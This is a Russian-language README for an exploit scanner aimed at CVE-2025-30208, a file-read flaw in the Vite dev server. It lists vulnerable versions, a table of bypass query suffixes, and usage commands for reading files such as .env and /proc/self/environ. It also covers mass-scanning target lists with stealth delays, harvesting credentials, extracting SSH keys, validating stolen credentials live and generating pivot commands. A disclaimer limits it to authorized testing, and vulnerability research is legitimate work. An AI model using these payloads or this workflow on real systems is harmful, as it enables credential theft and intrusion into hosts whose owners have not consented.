
Эксплоит-сканер для CVE-2025-30208 (произвольное чтение файлов Vite) с многовариантным обнаружением обхода, сбором учетных данных, извлечением SSH-ключей и структурированным отчетом для авторизованного тестирования на проникновение.
CVE: CVE-2025-30208
GHSA: GHSA-x574-m823-4x7w
Серьезность: CVSS 5.3 Средняя (сетевой доступ к dev-серверу)
⚠ Только для авторизованных тестов безопасности.
Несанкционированное использование систем, которые вам не принадлежат или на тестирование которых у вас нет явного письменного разрешения, является незаконным.
Dev-сервер Vite позволяет обслуживать произвольные файлы из файловой системы хоста через запросы /@fs/.
Отсутствующая проверка санитизации строки запроса в уязвимых версиях позволяет злоумышленнику добавлять специально созданные суффиксы для обхода списка разрешений и читать любые файлы, к которым имеет доступ процесс — включая файлы .env, закрытые ключи SSH, учетные данные облачных сервисов и записи /proc.
| Ветка | Последняя уязвимая | Исправленная |
|---|---|---|
| 6.3.x | 6.3.0 | 6.3.1+ |
| 6.2.x | 6.2.2 | 6.2.3+ |
| 6.1.x | 6.1.1 | 6.1.2+ |
| 6.0.x | 6.0.11 | 6.0.12+ |
| 5.4.x | 5.4.14 | 5.4.15+ |
| 4.5.x | 4.5.9 | 4.5.10+ |
| Название | Суффикс / Запрос | Описание |
|---|---|---|
raw?? | ?raw?? | Хвостовые ?? нарушают rawRE |
import&raw?? | ?import&raw?? | ES-модуль + raw вместе |
raw? | ?raw? | Один хвостовой ? |
url&raw?? | ?url&raw?? | Режим URL в комбинации |
raw&url?? | ?raw&url?? | Обратный порядок параметров |
import&?raw | ?import&?raw | Некорректный префикс импорта |
sec-fetch | ?raw + заголовок Sec-Fetch | Контекст скрипта браузера |
raw-encoded | ?raw%3f%3f | URL-кодированные разделители |
double-slash | ?raw??/ | Обход с двойным слэшем (v5) |
pct-all | %3fraw%3f%3f | Полностью процентно-кодированный запрос (v5) |
raw-hash | ?raw??# | Обход через фрагмент якоря (v5) |
wasm-init | ?inline=1.wasm?init | Родственный CVE-2025-31125 (инициализация wasm) |
pip install requests
# or
pip install -r requirements.txt
python main.py -t https://target.com
python main.py -t https://target.com --full-chain --output /tmp/report
python main.py -t https://target.com --file /app/.env
python main.py -t https://target.com --file /proc/self/environ --save ./environ.txt
python main.py -t https://target.com --stealth --proxy http://127.0.0.1:8080
python main.py -l targets.txt
python main.py -l targets.txt --workers 20 --ports 5173,3000,8080
python main.py -t https://target.com --no-color | tee scan.log
python main.py --version
python -m cve30208 -t https://target.com
| Флаг | По умолчанию | Описание |
|---|---|---|
-t/--target | — | URL одиночной цели |
-l/--lists | — | Файл, содержащий по одной цели на строку |
--stealth | off | Добавлять случайные задержки между запросами |
--proxy | — | HTTP/HTTPS прокси (http://host:port) |
--timeout | 10 | Тайм-аут на один запрос в секундах |
--verify | off | Включить проверку TLS-сертификата |
--file | — | Прочитать конкретный путь на целевом хосте |
--save | — | Сохранить содержимое --file в локальный путь |
--full-chain | on | Запустить полную цепочку эксплуатации (проверка в реальном времени по умолчанию) |
--output | — | Записать JSON + Markdown отчёт в указанный базовый путь |
--workers | 10 | Параллельные рабочие потоки для массового сканирования |
--ports | см. ниже | Порты для проверки в массовом режиме (через запятую) |
--no-color/--plain | off | Отключить ANSI-коды цветов |
--safe-mode | off | Скрывать значения секретов в выводе терминала |
--show-secrets | off | Показывать полные секреты в терминале (переопределяет --safe-mode) |
--version | — | Вывести версию и выйти |
Порты массового сканирования по умолчанию: 5173, 4173, 3000, 8080, 8000, 4000, 5000, 9000, 80, 443
Если указан --output /tmp/report, сканер записывает:
/tmp/report.json — машиночитаемые структурированные находки/tmp/report.md — человекочитаемый Markdown-отчётМассовое сканирование всегда выводит VULN_COUNT=N на последней строке для удобного использования в скриптах оболочки:
python main.py -l targets.txt | grep '^VULN_COUNT='
Сканирование одной цели выводит SCAN_STATUS=VULNERABLE|NOT_VULNERABLE в конце для автоматизации.
cve30208/
├── __init__.py — публичный API
├── __main__.py — точка входа python -m cve30208
├── constants.py — BYPASS, CVE_SIBLING, SECRET_PATTERNS, SSH/scan константы
├── ui.py — ANSI коды цветов, Spin/NullSpin, вспомогательные функции терминала
├── utils.py — общие вспомогательные функции (_unescape_js_string)
├── secrets.py — scan_secrets(), parse_env(), parse_environ()
├── ssh.py — extract_ssh_key(), collect_ssh_targets()
├── exploit.py — ExploitResult, ExploitStage (проверка учетных данных в реальном времени)
│ включает реестр проверок для упрощения расширения
├── report.py — save_report(), make_md()
└── scanner.py — FR/R датаклассы, Scanner, bulk_scan(), main()
main.py — обратно-совместимый мост
requirements.txt
Сканер автоматически подавляет повторяющиеся артефакты, чтобы вывод оставался чистым
даже когда HOME равен /root или один и тот же секрет встречается в нескольких
файлах:
| Уровень | Механизм |
|---|---|
| Чтение файлов | stage_fs нормализует базовый список SSH-ключей с помощью dict.fromkeys и удаляет дублирующиеся пути из очереди reads до любого вывода. |
| Сохранение файлов | Scanner._save проверяет множество _seen_file_paths для каждого сканирования; дублирующиеся пути возвращают уже сохранённый FR без повторного добавления в r.files. |
| Секреты | Scanner._save дедуплицирует r.secrets глобально по (name, value) для всех файлов; дедупликация внутри файла обрабатывается отдельно в scan_secrets. |
| SSH-ключи | stage_ssh объединяет ключи с одинаковой подписью PEM (первые _PEM_SIG_LEN байт), встречающиеся в разных исходных файлах. |
| Команды перехода (pivot) | Блоки перехода индексируются по (key_source, host, port); одинаковые комбинации выводятся только один раз. |
Строка итога сообщает, сколько файлов, секретов и SSH-ключей было подавлено как дубликаты, например:
deduped 2 file(s), 4 credential(s), 1 SSH key(s) suppressed as duplicates